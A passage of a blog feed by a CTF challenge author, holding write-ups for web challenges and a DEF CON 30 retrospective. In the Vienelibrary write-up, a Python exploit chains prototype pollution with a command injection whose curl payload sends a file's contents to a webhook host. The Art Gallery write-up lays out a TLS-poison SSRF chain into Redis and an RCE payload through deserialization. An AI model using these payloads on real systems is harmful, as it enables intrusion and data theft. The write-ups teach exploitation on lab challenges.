</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">m</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">viene</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">typeof</span> (<span style="color:#a6e22e">viene</span>[<span style="color:#a6e22e">m</span>]) <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;object&#34;</span>, <span style="color:#66d9ef">typeof</span> (<span style="color:#a6e22e">template</span>[<span style="color:#a6e22e">m</span>]) <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;object&#34;</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">standardizeViene</span>(<span style="color:#a6e22e">template</span>[<span style="color:#a6e22e">m</span>], <span style="color:#a6e22e">viene</span>[<span style="color:#a6e22e">m</span>]);
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">template</span>[<span style="color:#a6e22e">m</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">viene</span>[<span style="color:#a6e22e">m</span>];
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">template</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">vienesubs</span> <span style="color:#f92672">=</span> [];
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#34;/submitaviene&#34;</span>, <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">newviene</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//Standardize submission
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">viene_template</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">sub_id</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">crypto</span>.<span style="color:#a6e22e">randomBytes</span>(<span style="color:#ae81ff">10</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#e6db74">&#39;hex&#39;</span>)
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//I&#39;ll look at it later
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#a6e22e">vienesubs</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">standardizeViene</span>(<span style="color:#a6e22e">viene_template</span>, <span style="color:#a6e22e">newviene</span>));
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Thanks! Your submission has been dropped into our pool succesfully. We&#39;ll let you know if we consider it!&#34;</span>);
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>If you POST <code>/submitaviene</code> you could have your request body be standardized with <code>standardizeViene</code> which has a crystal clear proto pollution vulnerability. Keeping this in mind, we can take note of the fact that the server uses <a href="https://www.npmjs.com/package/node-fetch">node-fetch</a> to make requests back to the Rails server, and so our attack plan is formulated:</p>
<pre tabindex="0"><code>1. Proto-pollute node-fetch to PUT to Rails server
2. Ruby open() for RCE and get flog
</code></pre><h3 id="step-b-proto-pollution-and-node-fetch">Step B: Proto-pollution and node-fetch</h3>
<p><a href="https://portswigger.net/research/widespread-prototype-pollution-gadgets">Recent research</a> showcases that the object you pass into the fetch API can be proto-polluted with all the methods and fields you could stipulate to a fetch request (including node-fetch). For us, the ideal candidate here is the <code>headers</code> field, since the <code>method</code> field was explicitly declared in either node-fetch request so we couldn&rsquo;t proto-pollute that.</p>
<p>The header I was thinking of was the <code>X-HTTP-Method-Override</code> header set to <code>PUT</code>, however I noticed some teams use <code>Content-Type</code> instead and set it to <code>application/x-www-form-urlencoded</code>, and adding <code>_method: PUT</code> in the form data to achieve the same effect.</p>
<p>Either way, proto-polluting headers with either will make <a href="https://www.rubydoc.info/gems/rack/Rack/MethodOverride">Rails interpret the request</a> it recieves as a <code>PUT</code> instead of a <code>POST</code> regardless if whether or not the method field stated it was a <code>POST</code>.</p>
<h3 id="step-c-ruby-open">Step C: Ruby open()</h3>
<p>Now that you&rsquo;re in the PUT logic of the viene controller in the Rails server, you get free RCE.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>VIENE_URL_SUBMIT <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;http://vienelibrary.ctf.maplebacon.org/submitaviene&#39;</span>
</span></span><span style="display:flex;"><span>VIENE_URL <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://vienelibrary.ctf.maplebacon.org/findaviene&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>put_data <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;__proto__&#34;</span>: {<span style="color:#e6db74">&#34;headers&#34;</span>: {<span style="color:#e6db74">&#34;X-HTTP-Method-Override&#34;</span>: <span style="color:#e6db74">&#34;PUT&#34;</span>}}}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;viene&#34;</span>:<span style="color:#e6db74">&#34;|curl https://webhook.site/f6a4aed1-64b2-4b8e-bb60-a970842d6c24 --data </span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">$(cat flag.txt)</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(VIENE_URL_SUBMIT, json<span style="color:#f92672">=</span>put_data)
</span></span><span style="display:flex;"><span>print(r<span style="color:#f92672">.</span>text)
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(VIENE_URL, json<span style="color:#f92672">=</span>payload)
</span></span><span style="display:flex;"><span>print(r<span style="color:#f92672">.</span>text)
</span></span></code></pre></div><p>Someone please affirm me and say they remember vine.</p>
<h2 id="art-gallery-3-solves">Art Gallery (3 solves)</h2>
<p>Art Gallery was my most convoluted web challenge which is semi-inspired by Harmony Chat (DragonCTF 2020) and Contrived Web Problem (PlaidCTF 2020). Shoutout to our sponsor for the #sponsorship-debugging help. :&gt;</p>

    <img src="/images/ArtGallery.png"  alt="My Art Gallery"  class="center"  style="border-radius: 8px;"  />


<p>Here is the TL;DR -</p>
<pre tabindex="0"><code>1. Slightly modified TLS poison to SSRF the FTP server
2. Use FTP server to SSRF an &#34;image file&#34; containing Redis commands to the Redis server via RESP
3. &#34;image file&#34; overwrites a user&#39;s sessional key with a node-serialize payload which fires when user visits site
4. flag
</code></pre><h3 id="step-a-wtf-does-this-code-do">Step A: WTF does this code do</h3>
<p>The general idea of the app was as so:</p>
<ul>
<li>An image gallery that you could upload your own pictures to</li>
<li>The images were served via FTP</li>
<li>Session management was done via Redis, storing your art token and an array of filenames to retrieve from FTP, which were serialized for ease of storage</li>
</ul>
<p>This challenge had alot of moving parts, so we will examine each individually to see how they all work together.</p>
<h4 id="insecure-deserialization-node-serialize">Insecure deserialization: node-serialize</h4>
<p>Consult the following code:</p>
<p><em>app.js</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>(<span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">next</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>.<span style="color:#a6e22e">art_token</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">val</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">redisClient</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">`image_</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>.<span style="color:#a6e22e">art_token</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//here
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">data_arr</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">serialize</span>.<span style="color:#a6e22e">unserialize</span>(<span style="color:#66d9ef">await</span> <span style="color:#a6e22e">redisClient</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">`image_</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>.<span style="color:#a6e22e">art_token</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>));
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">data_arr</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">images</span> <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">key</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">data_arr</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">images</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">data_arr</span>[<span style="color:#a6e22e">key</span>]);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#34;finish&#34;</span>, <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>){
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>.<span style="color:#a6e22e">art_token</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">redisClient</span>.<span style="color:#a6e22e">set</span>(<span style="color:#e6db74">`image_</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>.<span style="color:#a6e22e">art_token</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>, <span style="color:#a6e22e">serialize</span>.<span style="color:#a6e22e">serialize</span>(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">images</span>));
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">redisClient</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">`image_</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>.<span style="color:#a6e22e">art_token</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">next</span>();
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>A user&rsquo;s array of images are serialized and pushed into Redis, but they&rsquo;re unserialized when needed using the dangerous <a href="https://github.com/luin/serialize">node-serialize</a> library. If you manage to set <code>image_${req.session.art_token}</code> to an RCE node-serialize payload, it&rsquo;s game over. However, you couldn&rsquo;t do anything cheeky like submitting an image with the filename being the payload, you needed to manually change the value of that key in Redis. The Redis server, however, was not accessible to the public.</p>
<h4 id="image-file-upload">Image file upload</h4>
<p>The code handling the uploading of your own photos is below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#34;/upload&#34;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>.<span style="color:#a6e22e">art_token</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//People can upload max 4 images, which are inserted into their images array rolling basis
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">random_filename</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">crypto</span>.<span style="color:#a6e22e">randomBytes</span>(<span style="color:#ae81ff">10</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#e6db74">&#39;hex&#39;</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;.png&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//high quality design 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">files</span>.<span style="color:#a6e22e">file</span>.<span style="color:#a6e22e">mv</span>(<span style="color:#e6db74">`/usr/src/app/ftp/files/</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">random_filename</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">images</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">random_filename</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">images</span>.<span style="color:#a6e22e">shift</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>Now, take note that the filename given to your image appends a <code>.png</code> extension to it (<code>random_filename</code>) - this does nothing as the extension and file format are never checked as valid. Therefore, you could submit a file of any format and it will not get type-checked as a legit PNG image.</p>
<h3 id="step-b-tls-poison">Step B: TLS Poison</h3>
<p>The first step is the most tedious/hardest to work on. For those unaware, TLS poison is an innovative way to use TLS session ids or tickets to create powerful new SSRF techniques - <a href="https://www.youtube.com/watch?v=udpamSmD_vU&amp;ab_channel=BlackHat">here is the blackhat talk that discusses this in detail - thank you Joshua Maddux!</a>.</p>
<p>The crux of the TLS poison is that the <a href="https://github.com/jmdx/TLS-poison">exploit server that is freely available out of the box</a> needed to be tweaked if you were to use it for the challenge. The jmdx TLS server would expect 2 requests to the DNS server, and it would alternate A records on each request, which is fine for most use cases <em>except</em> my challenge. See, the HTTP server makes a <em>curl</em> request to the specified resource:</p>
<p><em>Entrypoint into TLS poison part</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/query&#39;</span>, <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">host</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">host</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">port</span> <span style="color:#f92672">=</span> parseInt(<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">port</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//im aware its bad 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#a6e22e">cp</span>.<span style="color:#a6e22e">execFileSync</span>(<span style="color:#e6db74">&#34;timeout&#34;</span>, [<span style="color:#e6db74">&#39;5s&#39;</span>, <span style="color:#e6db74">&#39;curl&#39;</span>, <span style="color:#e6db74">&#39;-k&#39;</span>, <span style="color:#e6db74">&#39;-L&#39;</span>, <span style="color:#e6db74">`https://</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">host</span><span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">port</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/`</span>]);
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">&#34;Error encountered&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">e</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;The curator will observe your art&#34;</span>);
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>&hellip;and curl caches DNS records for 60 seconds, <strong>including DNS records with 0 TTL</strong>. This sorta screws us over, since instigating an HTTP redirect (in your domain) within that timeframe will visit the original server instead of asking our DNS server for the IP again. However, you couldn&rsquo;t wait the whole 60 seconds for the DNS cache to expire in libcurl, cause if the command would hang for a while, the server would complain. An additional 5s timeout was implemented as well which forcibly closes the curl connection way before a DNS server could redirect back to a localhost address. To move around this, you can instead have your DNS server send in multiple A records - one being the legit IP of your domain and the other being a local one - but immediately close the port of the first IP when the HTTP redirect occurs so curl has no choice but to try the other A record instead - the local one.</p>
<p>This will succesfully force curl to ping a localhost IP and not retry a connection with your server IP. Of course, I saw, from the teams that solved Art Gallery, they got crafty around this part, so there are multiple ways to achieve TLS poison while avoiding libcurl&rsquo;s caching.</p>
<p>In any case, you make the server submit a session ticket (NOT id as TLS 1.2 session ids are too small to fit the whole FTP payload in) to the FTP server, running on port 8021.</p>
<p>The session ticket would look something like:</p>
<pre tabindex="0"><code>[Random TLS stuff] \nUSER\nPASS\nPORT 127,0,0,1,24,235\nRETR &lt;userfilename&gt;
</code></pre><p>The <code>PORT</code> command makes the server operate on active mode, establishing a data channel with localhost on port 6379 (where the Redis server is), which allows you to send a file of your choosing in the server&rsquo;s filesystem through that data channel.</p>
<p>Anyway, bypass curl&rsquo;s caching and give the server a session ticket containing some FTP commands, leading to&hellip;</p>
<h3 id="step-c-ftp-ssrf">Step C: FTP SSRF</h3>
<p>Remember the file format quirk?</p>
<p>What we could do with it was upload a file which contained RESP commands that set the user&rsquo;s key to a node-serialize RCE payload, and have the FTP server RETR that file to Redis on active mode. We couldn&rsquo;t talk to the Redis server on our own, so let&rsquo;s use the FTP server to talk to it instead.</p>
<p>Through TLS poisoning, you could submit a session ticket to the FTP server which would contain a bunch of FTP commands that should make the server operate on active mode, establish a data connection with the local Redis server on port 6379, and RETR the malicious &ldquo;image&rdquo; file to it.</p>
<p>NOTE: The FTP server was intentionally made to be quiet even when recieving commands, as normal protocol involved it writing responses on input and it would try to do that into the SSL socket which caused problems.</p>
<h3 id="step-d-redis-ssrf">Step D: Redis SSRF</h3>
<p>Redis also uses a plaintext protocol, RESP, for data manipulation. When the FTP server establishes a data connection to the Redis one, the file it sends over should contain new-line delimited RESP commands which set a user&rsquo;s &ldquo;images&rdquo; key to that of a node-serialize payload.</p>
<p>Your uploaded &lsquo;image&rsquo; file should have the following command inside:</p>
<pre tabindex="0"><code>SET image_&lt;your art token&gt; &lt;node serialize payload&gt;
</code></pre><h3 id="step-e-fleg">Step E: Fleg</h3>
<p>When you revisit the art gallery, the app should deserialize your payload, netting you the flag.</p>
<pre tabindex="0"><code>maple{M4N_I_L0V3_SSRFz_1N_My_SSRF5_In_my_556Fs}
</code></pre><h3 id="notes">Notes</h3>
<ul>
<li>
<p>The curl command was made possible with a pipe to a subprocess on <code>execFileSync</code>. A few people got hung up on this part as I believe this looks like a possible command injection - however, <code>execFileSync</code> passes the entire argument given to it as a single command, so injection was not possible. Others thought to use <code>gopher://</code> which is technically on the right track in terms of using SSRF, but again, not possible through the subprocess.</p>
</li>
<li>
<p>It was a bit of a struggle having the FTP -&gt; Redis part work reliably, but for us, padding the &ldquo;image&rdquo; file with hella whitespaces was sufficient for that SSRF to work reliably. Some other teams also appended a QUIT command in their sessional tickets to achieve similar effect.</p>
</li>
<li>
<p>Of course, things would have been <strong>considerably</strong> easier had people managed to be able to connect to either the FTP server or the Redis server on their own. This was not possible as only the HTTP server&rsquo;s port was exposed.</p>
</li>
<li>
<p>Some of you may have been wondering - &ldquo;Was the FTP server necessary? Was TLS Poison -&gt; Redis not possible?&rdquo; Maybe it was, but on initial tests the Redis server did NOT like random TLS junk that was included in the sessional tickets. FTP didn&rsquo;t care, so :/</p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>DEFCON 30: Retrospective</title>
            <link>https://jamvie.net/posts/2022/08/defcon-30-retrospective/</link>
            <pubDate>Tue, 16 Aug 2022 13:37:54 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2022/08/defcon-30-retrospective/</guid>
            <description>Man.
My team, Maple Bacon, collaborated with CMU&amp;rsquo;s CTF team PPP and Theori.io&amp;rsquo;s CTF team The Duck, forming Maple Mallard Magistrates as a merger to participate in DEF CON finals.
The Beginning Discussions about the merge had occurred earlier in the year - I triangulate it to a month or so before I found myself in Athens, Greece attending ICC. This is important to mention as I heard many people speculate about the existence of MMM and whether or not it was formed as a response to something.</description>
            <content type="html"><![CDATA[<p>Man.</p>
<p>My team, Maple Bacon, collaborated with CMU&rsquo;s CTF team PPP and Theori.io&rsquo;s CTF team The Duck, forming Maple Mallard Magistrates as a merger to participate in DEF CON finals.</p>
<h2 id="the-beginning">The Beginning</h2>
<p>Discussions about the merge had occurred earlier in the year - I triangulate it to a month or so before I found myself in Athens, Greece attending ICC. This is important to mention as I heard many people speculate about the existence of MMM and whether or not it was formed as a response to something. The answer is no, the reasoning was very simple: we wanted to play together! Unfortunately, there wasn&rsquo;t much of a complex reason, we simply had a desire to team up and have fun in Vegas.</p>
<h2 id="preparation">Preparation</h2>
<p>Shortly after the creation of MMM, general preparations were underway to figure out how to best tackle DEFCON 30. Travel logistics, skill logistics, everything. We wanted to see if there was a way to train altogether in prep for the event, and obviously the best way to do that was to try out in CTFs together, pre-DEFCON. One <em>slight</em> issue though: The merge was a secret. We couldn&rsquo;t use our full name, since that would likely give away the teams that composed us. It wasn&rsquo;t a big deal, but we just knew that if we did well in a CTF, then certainly some teams would pick up on this mysterious MMM and wonder who it was. Speculation was inevitable.</p>
<h3 id="team-setup">Team Setup</h3>
<p>From MB side, we brought a subset of people to Vegas but had a slightly bigger subset playing remotely. Of the merger, we had 8 people (me included) attend Vegas with MMM, and around 11 playing remotely.</p>
<p>Now, comparing ourselves to PPP and The Duck, we were certainly new to the scene. We weren&rsquo;t CTF rookies, but this was our first DEF CON, so the difference in experience was there. Naturally, I was confident in my skills and my team&rsquo;s but I also wanted to make sure we pulled our weight accordingly in this merger. To that end, MB also participated in and did their own individual training as a way to both gain confidence and to hopefully scale to the top talent in both The Duck and PPP. We played in A/D CTFs together to gain more experience in the format as a team, and to figure out what roles we were comfortable with.</p>
<p>Aside from pure A/D CTFs, we also took a look at as many other CTFs as possible for sake of exposure to as many unique problems as possible. Hell, I would even treat ICC as good exposure and grounds for skill developement! For example, MB played in Faust CTF 2022 solo, finishing 13th. Faust CTF was a great way to get familiar with A/D CTFs for some of us who were new to the format, and allowed us to get some fundamental skills to make our own custom tooling or formulate our own strategies we employed for DEFCON.</p>
<h3 id="google-ctf">Google CTF</h3>
<p>GoogleCTF was the first CTF we decided to play in together as MMM. It was a great CTF and a fantastic team-building exercise, and of course, our predictions were correct: for a good portion of the game in GoogleCTF we had occupied first place, so naturally people theorized about our identity. Looking back at it now, I was certain that some people have sussed out that MMM had at least included one of <code>{Maple Bacon | The Duck | PPP}</code>, and I believe that after GoogleCTF some players had indeed managed to figure out some of the truth - some people had (correctly) theorized that MMM had included both The Duck and PPP.</p>
<p>Regardless, we continued on, maintaining secrecy until the time we felt it was right to comment.</p>
<p>GoogleCTF felt like a good barometer to determine what our strengths were, both indiviudally and togehter as a team. It was from here we started to establish friendships and figure out how we worked togehter, how well we meshed together, and things like that.</p>

    <img src="/images/nice.png"  alt="Nice"  class="center"  style="border-radius: 8px;"  />


<h2 id="defcon">DEFCON</h2>
<h3 id="day-0">Day 0</h3>
<p>Prep began on the Thursday, August 11, before the start of the competition. Our hotel was close to the conference room to allow for those going to the floor on any given day convenience when travelling back and forth. We managed to arrive pretty early on this day, so we had some free time to explore Vegas before we began planning.</p>
<p><a href="https://meowwolf.com/visit/las-vegas">Omega Mart by Meow Wolf</a> seemed like a great destination to spend some time in - it&rsquo;s an immersive and surreal art exhibition set in a grocery store. It was very weird, but very fun. I also got my new favourite hat from the gift shop~</p>

    <img src="/images/omegamart.png"  alt="Omega Mart entrance"  class="center"  style="border-radius: 8px;"  />


<p>I used to be a real big art buff before the dawn of CTFs in my life, so I really enjoyed the surreal exhibit. Neon aesthetics are especially pretty to me.</p>
<p>
    <img src="/images/omegamarthat.jpg"  alt="Omega Mart entrance"  class="center"  style="border-radius: 8px;"  />


<em>This hat go hard</em></p>
<p>Anyway, after Omega Mart, we reconvened for planning, debriefed on our strategies and figured out what roles we were going to be responsible for during the competition. It was important that we had an idea of what tasks we were doing, and although it was likely that overlap would occur during the contest, we wanted to at least know who was working on what should relevant information appear and we needed to ping a certain subset of people. In hindsight, I think this pre-planning worked quite well and gave everyone a task to do.</p>
<h3 id="day-1">Day 1</h3>

    <img src="/images/onthefloor.jpeg"  alt="On the DEF CON grounds"  class="center"  style="border-radius: 8px;"  />


<p>On the first day of DEFCON I was on the floor and helped set up networking and other logistics. Being on the floor was a pretty cool experience, although it was understandably very crowded in the forum. I was just happy to see old friends from back during ICC times, and make new ones.</p>
<p>
    <img src="/images/MMM_Banner.JPG"  alt="LiveCTF final results"  class="center"  style="border-radius: 8px;"  />


<em>MMM Banner on our table</em></p>
<p>The first day challenges were unique in that they would be closed down for the day, and new ones would appear the day after - essentially meaning we were free to sleep for that night :&gt;
This being my first DEFCON, I unfortunately don&rsquo;t have anything to compare day 1 against. However, I was told that this was a deviation from the norm, as previous organizers would keep day 1 challenges up for people to hack at overnight. Regardless, the free day of sleep was welcome - but it&rsquo;s not like I did alot of sleeping anyway.</p>
<p>After the day 1 event ended, my friends and MMMembers JJ, Alueft and I had decided to attend GOTHCON, which seemed like a goth-themed party occurring during the conference. The name is self-explanatory. And yes, we did have fun. We explored the DEFCON floor a bit more thoroughly that night since we didn&rsquo;t have any time to do so during the competition hours, and I was able to walk around a few other parties and grab a few more stickers.</p>
<h4 id="live-ctf-day-1">Live CTF day 1</h4>
<p>Based on the problem we were given, we decided to let Robert Xiao represent us for the Live CTF portion of DEFCON day 1. He was in the same room hacking away, which definitely was a cool experience being in proximity to the action and celebrating after his triumph. Congrats to OSUSEC as well for the fantastic performance!</p>

    <img src="/images/defconsunset.jpeg"  alt="Sunset on Day 1"  class="center"  style="border-radius: 8px;"  />


<p><em>Conclusion of Day 1</em></p>
<h3 id="day-2">Day 2</h3>

    <img src="/images/sticker.png"  alt="stickers"  class="center"  style="border-radius: 8px;"  />


<p>I woke up <em>early</em> and found myself in the hacking suites with the rest of MMM working on day 2 challenges. This was one of my favourite days since I was able to have fun with the others in the suite as we all tackled problems, scripted exploits, pushed patches and examined network traffic. I also really liked the food we ordered on this day - how have I never tried arepas before despite saying South American cuisine is one of my favourites?</p>
